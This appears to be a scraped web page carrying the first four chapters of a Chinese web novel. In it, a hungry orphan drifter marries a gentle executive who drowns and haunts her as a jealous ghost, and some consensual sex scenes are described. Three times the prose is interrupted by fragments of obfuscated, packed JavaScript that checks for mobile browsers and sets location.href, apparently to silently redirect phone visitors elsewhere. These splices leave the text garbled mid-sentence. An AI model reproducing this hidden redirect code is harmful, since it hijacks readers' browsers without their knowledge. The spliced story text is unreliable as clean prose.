《亡夫变成鬼来找我了》 1. 第 1 章 周礼信死的第七天。 谢小猫实在忍不了，偷偷去街上买了一大碗红烧肉，又吃了一大盘蒸闷的排骨。 回家的时候嘴角没擦干净，被婆婆看到。 婆婆顿时泪如雨下。 她可怜的儿子，才二十八岁，就这样死了！ 死之前专门打电话给律师，把所有的财产都留给了妻子。 可是，这个妻子没有良心，海吃海喝面无表情，像一只贪吃冷血的动物。 作为母亲，看到这样的儿媳实在难以接受。 公公同样不喜欢她。 儿子是独生子，长得英气，脾气又好，父母两人都在体制内有着不错的工作。 原本能找到更好的对象，却没想到半年前，儿子坚持要娶这个无父无母无亲人的小姑娘。 她没礼貌，不懂事，不会喊公公婆婆“爸爸妈妈”，对儿子也总是不冷不热、十分淡漠。 完全没清楚儿子到底喜欢这个女人什么？ 丈夫死了，作为妻子没有任何伤心，偷偷去吃肉，怎么能不让人寒心？ 自从周礼信乘坐的轮船翻进海里，打捞出尸体至今已经七天了。 小猫每天挨着饥饿接待着一群又一群不认识的亲戚。 她很苦恼，也不明白，为什么大家都不去吃饭，尤其是婆婆，连馒头白饭都吃不下。 他们真的一点都不饿吗？ 死了人算什么呢，死了就不吃饭吗？ 可是小猫真的好饿，饿到肚子咕噜噜直叫。 周礼信死了，她并不是很在意。 流浪这些年，从孤儿院到路上遇见的朋友，经历过疾病、火灾、死亡、离别，她好像已经习惯了。 谢小猫很少在一个地方停留很久，总是不停流转在乡村、小镇和城市中。 她总是很饿很饿，想吃东西。 城市街道上的东西很多很多，每次都流口水，恨不得啃上一啃。 不过，很小很小刚流浪时谢小猫就知道，直接抢、啃是会店主被打的。 有时候警察局、收容所会给小猫吃鸡腿，不过大多数是蔬菜。 吃几次便厌烦了，她想吃肉！尤其是红烧肉！ 羊腿、鸡腿，什么腿都可以！ 周礼信，他很有礼貌，对她特别和善，和他的名字一样。 小猫流浪这么多年，第一次见到如此和蔼可亲的人，忍不住蹭在他身上。 起初，周礼信总是观察怪物一样的看着她，慢慢才变得越来越亲昵。 他说谢小猫很像一只狗。 第一次遇见她，瘦瘦弱弱，怜悯心爆发，给她买了一个很大的手枪腿。 从那以后，她真的就像小狗一样粘着，每天下午茶时间都在周礼信办公楼下等他。 第二次，周礼信给小猫买了一杯咖啡和糕点。 小猫并不想吃，也不说话，只是指着不远处的烤鸭店流口水。 周礼信心软，又给她买了一只很大很大的烤鸭，还让电源削了皮。 谢小猫连忙摇头，示意自己会啃着吃。 后来，他经常会看到一个穿旧衣服、腰间挎着少数民族帆布包的少女在楼下等投喂。 因为小猫发现他很友善，并不像以前在其他地方遭遇的那样，被打、被骂、被赶走，他总会风度翩翩、好脾气地给她买吃的。 小猫想了想便不再客气，开始向他索要食物。 周礼信年纪轻轻就做了大公司的副总，开的车很气派，想必能买很多肉。 不过小猫并不在意他开什么车、戴什么手表。 她不爱读书，认识的字很少，不爱玩手机，不喜欢打游戏，更不爱看电视。 每天除了吃肉，就是睡觉。 周礼信和谢小猫认识最初的两个月，说的话很少。 周礼信一度以为小猫是个哑巴，不会说话。 每次只有问她“好吃吗”时候，她才点头说：“好吃。” 小猫很享受被投喂的感觉，可是她不能在这个城市停留太久，不然被人熟知后会报警，送她去警局，小时候还总会被关进收容所。 想逃出来就很难了。 现在长大了，好像越来越少被送进这些地方。 不过，最主要的是，她真的特别不喜欢待在一个地方太久，会感到厌烦、焦躁。 小猫在外面流浪一个多月，实在太饿太难受，又重返了这座城市。 那天下了很大的雨，小猫浑身湿透，瑟瑟发抖地在周礼信楼下等着。 很像落汤猫。 分开一个多月，重新看见她时，周礼信难掩激动和兴奋，迅速脱掉西服裹在她身上，一把将她搂在怀里。 他带着谢小猫去吃肉，吃好多好多的肉。 周礼信给她买了一件白色的裙子，穿上真的很像一只白猫，总感觉毛茸茸的，有尾巴露出，十分娇俏可爱。 他们开始谈恋爱，不过谢小猫并不关心恋爱是什么意思。 他说，恋爱就是可以一起吃饭、一起看电影、一起接吻，甚至做x。 小猫喜欢跟他一起吃饭，就答应了。 每次和他吃饭，可以点任何东西，他会满含笑意地看着她，没有一点不悦。 和从前遇到的人都不一样。 不会嫌弃她小花猫一样的脸，不会嫌弃她衣服破旧、不识字不爱说话，总是静静的在旁边看着她。 实在是太满足了，小猫第一次对他笑，真令人动容。 周礼信感觉自己快要昏过去了。 恋爱了一个多月，终于低头亲了下她的嘴唇。 一开始只是蜻蜓点水，后来慢慢控制不住自己，撕咬她的舌尖和嘴唇、牙齿。 谢小猫伸出手掐他的腰，猫爪一样疼痛，周礼信松开手，低头看见这个女人眉头紧锁。 迅速跑开了。 她很少露出其他情绪，哪怕看到爱吃的肉也只是眼睛亮晶晶的，平时都是一副云淡风轻的表情。 这些天是她第一次露出生气、愤怒的微表情。 周礼信还不知道，他把人亲哭了。 本来正常人类的亲吻、撕咬脖颈都属于暧昧交流，可她不清楚，不懂得，没人会对她这么做，小猫一点都不喜欢，就这么生气地走了。 原本以为她只是娇羞不习惯，没想到谢小猫真的不见了。 第二天下午每天在公司楼下等投喂。 第三天，没有。 第四天，也没有。 这算失恋吗？是被分手甩了吗？ 周礼信开始着急、痛苦、难受。 他的心已经被这个小猫抓的死死的。 谢小猫流浪到郊区的农户人家，摘了几根黄瓜和西红柿，她本来不喜欢吃这些东西的，可是真的太饿了。 这次的农户没有客气，直接报了警，把这一个月来丢失的黄瓜、西红柿都算在了她身上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317617|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也不怪主人这样认为，辛辛苦苦种的菜总是被摘、被破坏，很难不怀疑这个光明正大偷吃的人是团伙作案，抓了她，就可以抓到其他人。 谢小猫大概习惯了被抓，到警局后乖乖做了笔录。 流程习惯了，被抓后反正很快还会放出去的。 结束后，农户不肯离开，要她赔五百块钱。 小猫没手机，没微信，没支付宝，更没银行卡，自然也没有钱。要是有钱，就不用摘几根黄瓜充饥了。 民警见一个灰头土脸的少女实在可怜，就帮忙垫付了。 小猫的确长得人见人爱，实在是可爱，对任何事都表现的没兴趣，无论出什么事都淡定如哑巴。 遇见周礼信之前，一个月都不会讲几句话。 就是因为长得可爱，看着像十七八岁的少女，偷吃人家东西才没被打断腿，总会遇到有怜悯之心的人。 周礼信知道她走不远，打听了好几天，很快便知道这几天一直在警察局。 这里的警察和以前遇到的警察一样，反复盘问小猫很多问题，不过不会问出所以然的，因为她实在没有很多秘密，就是流浪多年的小猫小狗，没有复杂的背景和特别的问题。 女警晓之以理、动之以情，是怕她被拐卖、被欺负、被遗弃或者更残酷的事，单独和她谈心，小猫不想说话，一副无所谓淡然的模样。 实在没法，警局不能让成年人待多久，又不放心让她离开，左右为难时一个长相帅气有钱的男人来了。 周礼信开着名车进来，和警察握手，嘴里一直说：“辛苦了，辛苦了，我未婚妻给你们添麻烦了。” 在所有人眼里，开名车长得面善骗人的概率很低的。 谢小猫一开始见到他还想躲。 可透过车窗看见周礼信买了好多好吃的，顿时胃的“召唤”比嘴上的拒绝更明显。 警察低声问小猫：“他是你未婚夫吗？” 小猫不懂这是什么意思，只是盯着车里的红烧肉看。 周礼信走到小猫身边轻声问：“想吃吗？” 小猫点点头。 “想一辈子吃吗？” 她又点点头。 “我是你的未婚夫吗？” 谢小猫说：“是。” 从警察局出来，小猫坐在后排就开始吃。 不是她吃不胖，而是这些年风餐露宿、营养不良，吃再多也挡不住每天游走在街道上，乡村的道路上，一半时间处于饥饿中，对这种食物极度渴望。 周礼信开车在进高速前的大道旁停下，那里绿草成荫、鲜花满地。 他打开车门，走在外面沉思很久，拿出了手机。 小猫并不关心他给谁打电话、说些什么，反正肉很好吃，排骨也很好吃。 如果一辈子都能吃上这些，她会很满足、很开心。 周礼信的电话打了足足一个小时，谢小猫都吃完在车上睡了一觉，醒来发现他还在打。 是啊，他突然告诉父母想结婚。 父母问谢小猫的情况，周礼信一无所知，只知道她一直在流浪，应该是无父无母。 父母激烈反对，可婚还是结了。 周礼信原本打算立刻结婚，不过她没有身份证，身上只有一张福利院证明。 辗转很多天才查到她的身份证号和年龄，再过两个月她才满二十岁。 谁也没想到，他们才结婚半年，周礼信就这样死了。 2. 第 2 章 周礼信火化后，作为妻子，谢小猫需要穿着一身白衣，抱着骨灰盒返回老家。 谢小猫并不乐意。 开车去老家要在车里坐一两个小时，她一点都不喜欢。 车上没有东西吃，会很无聊，宁愿走着。 律师每次见到周礼信的妻子，总觉得这女人脑子不太灵光，像个傻子。 最起码的人情世故都不会，可不就是缺心眼吗？ 他反复问她“你丈夫死了，你老公死了，你知道这是什么意思吗？” 谢小猫却始终平淡如水，仿佛事不关己，既不回答也不言语。 律师和周礼信的父母一样，觉得他老婆是没心肝的东西，完全是周礼信一厢情愿，被蒙蔽，被欺骗。 可仔细打量这个沉默寡言又总爱东张西望的女人，又觉得她似乎并不擅长勾引人。 那就是周礼信中邪了，需要做法驱魔。 老家给丈夫举行的葬礼上，小猫需要用白巾捂着头，她的眼睛一一扫过在场的每一个人，所有人都在哭。 极其痛苦的伤心流泪。 是因为他太年轻了吗？ 谢小猫却不以为然，反而觉得他们很奇怪。 从前在孤儿院时，很多孩子都生着病，有的活到一岁两岁，有的活到五岁六岁；流浪后她才发现，世间既有七老八十的老者离世，也有十多岁二十多岁的年轻人早逝。 这之间，有什么区别呢？ 二十八岁，已经很大了，对于小猫来说，算得上活得很久了。 她就不会关心自己什么时候死去，更不会难过，人早晚都会死的。 葬礼结束后是财产分割问题。 周礼信生前曾口头明确表示要将财产都留给妻子谢小猫，虽没有书面遗嘱，却留有语音记录。 他的父母本无意争夺这份财产，他们有高额退休金和体面的工作，即便作为第一顺位继承人，也只想遵从儿子的遗愿。 可自从看到谢小猫偷偷吃红烧肉后，两位老人内心的痛苦成倍滋生。 他们明知不该怪罪儿媳妇，不该将对儿子的思念迁怒于小猫，可是没有办法，她实在表现的太云淡风轻，我行我素。 最终，他们还是把她赶出了老家。 谢小猫将分到的大笔财产换成现金后，极少再待在她和周礼信的婚房，而是继续在各个地方流浪。 她觉得这笔钱这辈子都花不完，所以即便被人偷走也不会去追。 晚上她还是习惯卷缩在有草堆的地方，如果是冬天就去南方。 大千世界，哪里都可以生存。 周礼信的父母请了三个月假，直到泪水流干、痛苦麻木，才动身去城市的婚房寻找儿子的证件。 就在街上，他们恰好看见小猫正死死盯着一个男人。 那种五味杂陈的感觉瞬间涌上心头。 儿子是死了，她的确成了寡妇，可以和任何男人在一起，可就是接受不了。 于是，找到了律师，决定重新打财产争夺官司，一分一毫都不想留给这个冷血的女人。 才结婚半年，为什么要得到他们孩子这么多年积累的财产？ 谢小猫被周礼信父母赶出了家门，婚房也换了门锁。 想必，房子已经被卖出去了。 这个偶尔回家的地方，她再也回不来了。 小猫在门口只站了几秒，便彻底消失在人海。 官司不用打，小猫走了，永远离开了这座城市，心里已经决定，不再回来。 是啊，她待在这里太久太久了，前前后后加一起一年的时间。 厌烦了，疲倦了。 周礼信变成鬼后，看到了妻子依旧斜挎着帆布包，独自走在乡镇的道路上。 她随手掐了一根芦苇荡的草，轻轻甩来甩去，看样子很孤独，却又很惬意。 愤怒的厉鬼，此刻心软了。 周礼信溺水死亡后，一直在游荡在地府上空。 他死的突然，始终放心不下人间的妻子。 地狱每天都有太多人死去，并不像神话故事里那样需要排队投胎，而是随时随地飘荡着各色各样的灵魂。 宇宙如此的大，多少个地球都装得下，可以容纳无数鬼魂，慢慢把他们变成尘埃。 他们无处安放，人间无人在意，有些化作厉鬼，每天嘶吼不止，声音凄婉悲凉。 前几天，周礼信看到谢小猫盯着一个男人看。 一向风度翩翩、本可慢慢修炼升天成为优秀鬼魂的他，只因见妻子“变心”，瞬间化作厉鬼。 嘶吼声震耳欲聋。 他嫉妒、发狂，难以承受妻子这么快就喜欢上别人，从放心不下变成了心有不甘！ 于是他冲破束缚，成了游荡在人间的厉鬼。 谢小猫当然不知道身后一直跟着丈夫的魂魄。 周礼信看到父母把她赶出家门，她就那么毫不留恋的离开了？ 原本还埋怨父母为什么不听遗愿，让他那可怜的小猫流落街头。 如今她居然就这么走了？ 一点都不留恋？ 难道这一年多的相识和夫妻关系在她眼中什么都不是吗？ 更生气了！ 谢小猫好像有惊人的耐力，能走很久都不会停歇。 周礼信看到小猫兜兜转转好几圈，又站在了他公司的楼下，心里一阵温暖和开心。 没想到这个女人很快跟在一个穿着西装革履男人的身后。 那男人转过身，见到小猫长得可爱，问道：“小姑娘，你跟着我做什么？” 谢小猫伸出手，像从前跟周礼信要食物那样，对着这个陌生男人做了同样的动作。 周礼信的魂魄立刻挡在那男人面前，死死盯着小猫，心里怒意冲天。 想的是：“你是傻x吗？他是卖保险的！” 那男人上下打量了她一番，意味深长地笑了笑：“有微信吗？我明天晚上有时间。” 谢小猫没有手机，自然也没有微信，大概是看出眼前的男人没打算给她买肉吃，有些失望，转身默默离开了。 这一走，便是一整天没吃东西。 此刻，她走在乡间的小路上，身旁是芦苇荡和河流。 天黑了，大概她真的累了，就坐在了芦苇旁边的凳子上，蜷缩着身子，很快睡着了。 周礼信游荡在她身边，第一次如此直观地感受到妻子流浪的生活。 虽然心情平静许多，但他仍是厉鬼，会因嫉妒妻子喜欢别的男人而在芦苇荡里故意发出渗人的声音，可是看着妻子有些害怕又镇定坐在公共木凳上，不遮盖任何东西立刻睡着。 还是震撼她惊人的适应能力。 天的确慢慢转凉了，她应该会一直往南走吧。 周礼信飘到她脸前，身体浮在空中，脸对着她，仔细地看了又看。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317618|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他，真的很爱她。 很爱，很爱。 爱到深入骨髓。 当时打电话给父母后想要结婚，说服了很久，母亲父亲终于答应了。 毕竟儿子从小乖巧听话，做事稳妥，是老师眼中的好学生，是教授、上司的得力干将。 他从不越矩，活得规整，如沐春风般和煦，像古代世家的儒雅贵公子，是众人眼中的天之骄子，每一步都在掌控之中。 是父母单位里热门的好女婿人选。 想必他选的老婆不会有错吧。 那天，周礼信开车从高速回到市区，忍了又忍，终究没问她的住处，直接把她带回了自己家。 车到地下停车场，谢小猫却准备离开，她习惯住在安静有杂草的露天环境里。 肉吃了，肚子饱饱的，现在只想窝在草堆里睡觉。 周礼信走过去，有些紧张地问：“你、你可以不可以住我家？” 谢小猫看了他一眼，继续向前走。 周礼信又说：“我可以给你买任何吃的。” 小猫现在很饱，食物诱惑不了她。 没有回答，继续走向地下车库门。 周礼信快要疯了，这些天不见，他想疯狂地抱着她，蹂躏她软绵绵的身体，狂热亲吻她，却还是忍住了。 “小猫，你不是说要做我的未婚妻吗？” 谢小猫一脸疑惑地看向他 很像在问，“嫁给我”是什么意思。 周礼信解释道：“就是每天跟我在一起，想吃什么都可以吃到，不需要再流浪，可以睡很松软的床上。” 这个诱惑力很低，谢小猫还是像只高冷慵懒的猫咪，走出地下车库大门。 街上人来人往，小猫并不东张西望，带着明确的目的往前走。 他知道自己不能诱骗，不能哄骗，要追求真正的“爱情”。 “唉哟”的一声，周礼信捂着肚子，装病坐在椅子上。 谢小猫终于回过头，一脸狐疑地看向他。 周礼信轻声说：“胃病犯了，真疼，你揉揉我的肚子吧。” 他们明明之前已经算在恋爱了，现在怎么还是一副不熟的模样？ 难道是因为之前见面，除了吃，就还是吃吗？ 谢小猫没有伸手，他的模样实在不像生了病。 再说了，生病又如何呢？ 生病自己扛扛就好了。 她凝视着他好一会儿，还是离开了。 周礼信叫的更大声了。 谢小猫又被吸引的回了头，这次她弯下腰，凑近了仔细观察他的脸。 “你没有病。” 周礼信抬眸看向她，眼神执拗又认真：“有。” “没有。” “有。”他说，“相思病。” 谢小猫不知道相思病是什么，她文盲，不理解，不清楚，听不懂。 周礼信能看出来她态度缓和，伸手抓住她，让她摸了下自己的胸口，心脏上。 隔着薄薄的衣料，感觉硬硬的，还有“扑通扑通”的跳动，有力又急促。 小猫没有拒绝，任由手停在他胸口，只是眼神里的疑惑更重了 周礼信望着她懵懂的眼睛，声音放得更柔：“小猫，你一走我的心脏就疼。” 谢小猫看了下他的肚子，又看了下心脏。 肚子不像真的疼，心脏的确有点像真的。 3. 第 3 章 周礼信从未追过女人。 相识的几个月里，他知道她叫“谢小猫”，还是从她口袋里福利院的证明上看到的。 他们那群在福利院长大的孩子大多没有正经名字，不是叫牛啊、狗啊，就是猫啊、狸啊之类的。 院长说，她是在一个大冬天被遗弃在医院门口的，民警送来时只知道她姓谢。 那是二十年前的事了，当时监控并不发达，再也查不到更多关于她身世的线索。 谢小猫越是冷漠疏离，周礼信就越是无法自拔、疯狂。 他捂着胸口装着疼，继续跟着前面那个女人。 天已经黑了，小猫想早点睡觉，所以越走越快。 她比周礼信矮了大半头，脚步却快得惊人，一个多小时就走到了市区周边一片破损的建筑群里。 这些废弃的工厂夜晚没有任何照明，她就这么在乌漆嘛黑的角落里铺好藏在深处的草垫，蜷起身体睡了下来。 周礼信：“......” 他一方面震惊于她的生存方式，一方面又心疼得不行。 他蹲下身，轻轻碰了碰她柔软的身体，晃了晃她说道：“小猫，跟我回家吧，我带你住暖和的地方。” 谢小猫不是装睡，是真困了，睡的很安稳，一点没被打扰到。 周礼信打开手机看着这张脸，她睫毛长长的，嘴唇泛着淡淡的白，整个人像极了一只被遗弃的小白猫。 他担心小猫一个女孩在外有什么危险，就这么在她身边坐了一夜。 清晨五点半，谢小猫准时睁开眼睛。 她看见了盖在身上的衣服，也看到了歪在旁边睡着的周礼信。 他很重，推不开，而且压着她的帆布包让她抽不出来，于是抬脚轻轻踢了踢他，还瞪了他一眼，像是在宣告自己的领地。 周礼信还看到她踩了几下自己的西服，看了自己压了挺久的。 他起身捡起衣服，眼神温柔地看着她，“我的车一会儿就来，带你去吃早饭。” 说完补充一句，“肉包子。” 谢小猫并不理睬，从帆布包里摸出牙刷，走到远处浇花用的水管旁，轻轻一拧，动作熟练地洗脸刷牙，很快就收拾完毕。 接着，她继续朝着城市的远方走去。 周礼信昨晚就打电话让助理把自己的车开过来，如今小猫怎么都不肯坐上去。 她习惯了走路，习惯了奔向远方。 他在后面跟了一会儿，停下来下车走到她跟前。 “小猫，骗人是不对的。” 小猫再次用疑惑的眼神看着他。 周礼信望着缓缓升起的朝霞，轻声说：“你两个月前已经是我的女朋友，吃了很多东西，现在抵赖不就是骗子吗？小猫，做你们这行不就应该诚信吗？为什么要骗人呢。” 谢小猫瞥了他一眼。 他们这行什么时候要求诚信了？ 他们这行明明弄到吃的就是最牛的！特别是弄到肉！ 见她没有反应，还继续往前走，周礼信只好打电话让助理开车接替班全程跟着，还让助理打开微信视频实时拍摄，自己则打车去公司处理事务。 公司很多事需要他决断的。 后来，助理被放假了一天。 两天。 再后来，谢小猫外出走了三百公里了。 周礼信没有法子，只能一哭二闹三上吊。 他就是喜欢她，说不出缘由的喜欢，那种喜欢是对她全方位无死角的爱慕。 于是，一个穿着西装革履、英俊儒雅的男人，和一个穿着破旧牛仔裤与短袖的少女，并肩坐在水稻田边。 女孩认真地啃着猪蹄，男人在一旁深情表白，眼泪止不住地往下流。 大约是受不了他太过煽情，小猫指着田里的禾花鱼，说了一句：“我要吃这个。” 周礼信立刻下田抓了好几条，刚巧碰上农户赶来。 重复的事情被不同的人做了。 小猫开心的笑起来。 农户原本要报警的，周礼信立刻说，“五千块钱，我买了。” 三四条鱼五千块钱，发财了！ 谢小猫还是第一次看到这样体面的人满身是泥的模样。 他们住在了一起。 谈起了恋爱。 因为小猫不喜欢睡在床上，总是睡沙发上。 周礼信特意去家具城买了一张圆形沙发，里面铺着仿草垫，舒服又暖和。 小猫很喜欢，睡得很香甜。 不过，她依然不会被束缚。 来回到这个城市，路边的建筑实在太熟悉没有了看头，她学会了坐公交车。 坐很远陌生的地方，下车便徒步走，走一大圈再回去。 不过有时候当天回来，有时一天，有时要两天。 回来后除了吃肉，就是躺在沙发上睡觉。 周礼信经常加班，每次深夜回来，都会蹲在地毯上，看着她熟睡的可爱脸庞轻声道歉：“对不起，我下班晚了，在公司开了很久的会。叫的外卖你吃了吗？预定的蔬菜也要一起吃，要营养均衡。” 小猫大多时候都不会睁开眼睛 谁在乎他加不加班呢？ 周礼信很想亲吻她，又怕惹她不高兴而离家出走，只能慢慢试探。 起初是轻轻碰一下她的手，后来亲亲脸颊，接着是鼻尖，许久之后，才敢吻上她的嘴唇。 她闭上眼睛睡觉时，被亲时反应并不大。 不过周礼信很开心，因为他在网上看了许久男女接吻舒服技巧的视频，一定是很舒服很舒服了。 再后来，他只要下班回来，就会低着头压着她亲吻，会轻柔的捉住她的舌，辗转反侧。 只要谢小猫“哼唧”一声，周礼信就会立刻松开。 那些日子，过得快乐又幸福。 小猫比初次见面时瘦弱的模样变得圆润了许多，脸颊肉肉的，软软的。 他们要结婚了，谢小猫没什么意见。 周礼信买的婚纱礼服她都不想穿，问她结婚开不开心，她也不说话，偶尔会像猫咪一样“嗯～”一声 但那不是男女情事的喟叹，而是吃到了好吃的肉发出的满足声。 她才知道，天下除了红烧肉，原来还有那么多名贵又美味的种类！ 周礼信为了哄她拍一张婚纱照，让摄影师去了婚纱店。 他好说歹说，买了许多好玩好吃的东西，她才默默去试衣服。 周礼信已经顾不上好看难看了，搂着她的腰正对摄影师。 “咔嚓”一声，成形！ 他们挂在墙上的婚纱照，就这么在店里完成了。 幸亏修图师傅手艺厉害，把背景换得格外美丽。 他知道婚前应该带小猫回趟老家见父母亲戚的，但周礼信很清楚，父母那样讲究规矩礼节的人，绝对容忍不了这样像野草般放肆的女孩。 他连哄带骗，拖到了结婚当天，公公婆婆才初次见到儿媳妇。 为了照顾小猫的感受，婚礼尽量简化，而且只请了部分亲近的人到场。 亲戚朋友到场后都在问新娘是谁。 周礼信指着那个穿一身白、满身羽毛装饰、披散着头发不戴头纱的女孩，她正在悠哉地吃着东西。 婚礼是草地上的自助形式，她死活不肯戴耳环和项链等一切饰品，除了一件白色缎面礼服，什么都没有，不过的确素雅的好看。 周礼信的父母和亲戚们看到此场景一脸震惊。 更震惊的是，一向克己复礼的儿子，居然和一位狂野女孩结婚！ 他至今都记得起来他们的表情。 周礼信想到此处颇为感慨。 看见自己的鬼魂飘在半空，又听见芦苇荡里此起彼伏的蛙鸣虫叫，如此刺耳。 而睡在椅子上的妻子，丝毫没被打扰，也没有任何反应。 那时候的自己，像鬼迷心窍一样被她迷住，如今，即便成了鬼魂，依然着迷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317619|183089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他想念和她无休止的缠绵，想念她身上的味道，现在近在咫尺，却阴阳相隔。 永远都不会相见。 周礼信知道，她还会自己的生活，一定有新生，自己早晚会消失在长河中。 他的小猫会忘掉他，虽然现在已经忘得差不多了。 还是不甘心，那样的难过。 鬼魂不是应该没有痛苦伤心吗？为什么做了鬼还会承受这些？ 他想了一遍从和她认识到结婚，依然幸福。 那时候的谢小猫回家时累的虚脱，新婚的一天总是会很劳累。 这是小猫耐着性子坚持那么久听别人说话，满脸的疲倦，不再是活力满满一脸淡然的小猫了。 一回到婚房，衣服都没脱变窝在沙发上睡着了。 周礼信想这一天很久很久了。 从一周前就开始紧张。 他抱着睡沉的小猫去洗澡，第一次看见她全身，心都快跳出来，清洗的很仔细，再用毛巾擦拭的干干净净。 她身上总带着野草的清香，如今清洗过后，那种清幽的气息刺激的让他全身发麻。 谢小猫睡在床上不舒服，被他压着更不舒服。 却始终没有抗拒和躲避。 周礼信第一次见到她泛红的脸颊，听到她发出猫咪般细微的呻、吟。 情到浓时，他感觉到她的身体随着自己一起剧烈颤抖。 他伏在她身上，满心满足地低喃：“小猫，小猫，我爱你。” 谢小猫被他挤压得抵着床头，一句话说不出来，那是窒息的感觉，放空的感受。 从未有过的体会。 结婚后，小猫和从前没什么变化，还是喜欢吃肉，各种各样的肉。 一样喜欢睡觉，吃完就去别的地方转转，天黑前回来，等着周礼信投喂。 吃完饭后，他会搂着她，在房间的每个角落做一遍。 小猫开始不喜欢结婚，觉得结婚和恋爱太不一样，少则两三日，多则每日就要被他进入。 她身体里真的好软，像小白猫的肚子那样软，让人流连忘返，无法自拔。 谢小猫感觉自己已经虚脱的像个被抽干的动物，从一开始有体力走到隔壁城市，村镇。 后来只能在市区内没去过的地方转，现在更是起不来床，要睡一上午才能缓过来。 不过她还是不习惯睡在床上，一个人独处时，依旧会窝在沙发上。 这样的日子，一天天过去。 从前的野猫好像真的成了家猫，吃了睡，睡了吃，变成了白白嫩嫩的小肉猫。 几次周礼信出差几日，回来时没有在她身体里动来动去，小猫开始发出暗示的声音。 比如，伸懒腰时微弱的叫声。 结婚几个月相处下来很了解她的习性，他立刻收到暗号，开始无休止的结合。 会持续到下半夜。 谢小猫虽然还是不言语，也不会叫老公丈夫，依旧特立独行，却已经学会搂着他的脖子回吻。 周利息喜欢一边亲吻，一边顶着她喉咙发出声。 这是夫妻，是相爱的人才会体会到的幸福。 他最钟爱的小猫呀，再也不是冷漠无情的人了，能够感受到她的温度，她的思想，她那流转百回的眼神。 还有舒服时眼角浸润的泪水。 不过，谢小猫还保持从前的习惯，爱吃肉爱睡觉。 周礼信担心她真会躺四肢退化，晚上下班后会拉着她到小区转转，周末会开车到风景秀丽的地方露营。 别人露营是烤肉、喝啤酒、看星星，谈谈人生。 他们露营在车上享受身体愉悦，然后就是找个安全的野营处，搭建一个草窝。 陪着她躺进去继续怀念从前流浪时的生活。 不过，如今草窝和以前可不一样，搭建的草窝还需要再网上买特供的，这样更舒服一些。 周礼信笃定，谢小猫早就不适应从前露宿街头的睡觉方式了。 4. 第 4 章 他能看得出小猫慢慢在转变，虽然一如既往对很多东西漠然。 可是亲吻的时候，爱她的时候，会像一只树懒熊一样挂在他身上，她似乎喜欢这样的生活，喜欢他。 若非这份确信，周礼信在那场濒死之灾里，便不会陷入那般绝望的深渊。 同公司的领导出国陪客户，本应当天晚上返程。 轮渡一点点倾斜，水温那么凉。 他想给小猫打个电话，却又怕她伤心难过，只能托付律师哄骗她，说自己去了很远很远的地方。 当意识到自己真的要葬身大海时，铺天盖地的悲伤与绝望将他淹没。 没有他，小猫该怎么办呢？ 还要睡在露天的草窝吗？ 她等不到自己会不会被人欺负，会不会继续流浪，风吹雨打一辈子？ 这份放不下的牵挂，让求生的欲望支撑着周礼信坚持到最后，可终究没能等来救援队。 看着头顶海水上空越来越模糊的光线，他知道，自己真的要死了。 直到没了最后一口气之前，他还在想，小猫怎么办，她这辈子怎么办？ 如今看着她睡得香甜，拿着自己留下的钱吃喝，完全不在意的模样。 周礼信承认，自己的心像被刀割般碎裂，甚至想化作厉鬼发出嘶吼惩戒下她。 没错，做鬼发不出声音，只能制造点噪声，像《聊斋》里的桥段那样，弄出些声响，让树叶晃动几下，在远处传来几声渗人的怪叫。 做鬼是没疼痛，也不需要睡觉的。 周礼信见她无事，鬼魂回归。 早上回来的时候，发现谢小猫站在芦苇亭上看着远方。 大片芦苇如同无人区般在晨风中摇曳，周礼信见她神情落寞，心里竟泛起一丝窃喜。 若是小猫不开心，定是因为他死了，那便说明她爱他、想他。 游魂飘荡过去时，才发现她一直皱着眉，顺着视线望过去，原来湖水里两只鹅在打架。 “......” 谢小猫没在亭中久留，沿着小路继续往南走，没多久便到了一座小的城镇。 这里早上可真热闹，买小吃的特别多。 小猫站在肉包子摊位前，默默的看着忙碌的老板，没有出声。 周礼信立刻飘在她身上，去看看包里，现金好像是真的没了，但是有银行卡啊！ 这个女人，该不会忘了银行卡密码吧？ 结婚后，谢小猫几乎用不上微信和支付宝，周礼信便专门为她办了银行卡，每月固定打两万块进去。 这样算来，卡里少说也该有十万了。 他年薪百万加分红，工作两三年，加上父母给的补贴，买完婚房后还剩小百万存款，一个小女孩随便花，也可以够生活很多年。 周礼信不清楚律师怎么划分的财产，父母没收了多少，总之，作为鬼魂都难受起来。 包子铺老板做的是小本生意，见她是成年人，也没打算施舍。 不过赶走小姑娘对旁边的人，影响不好。 便不再理睬。 小猫嗅觉灵敏，微微侧身闻了闻，撅了撅嘴，似乎并不喜欢这肉包子的味道。 离开继续向前走。 走到火炉烤鸭的店面前。 店铺老板很热情的问：“美女，要几只？” 谢小猫死死盯着流油的烤鸭，一言不发。 “没钱啊？” 她还是不说话。 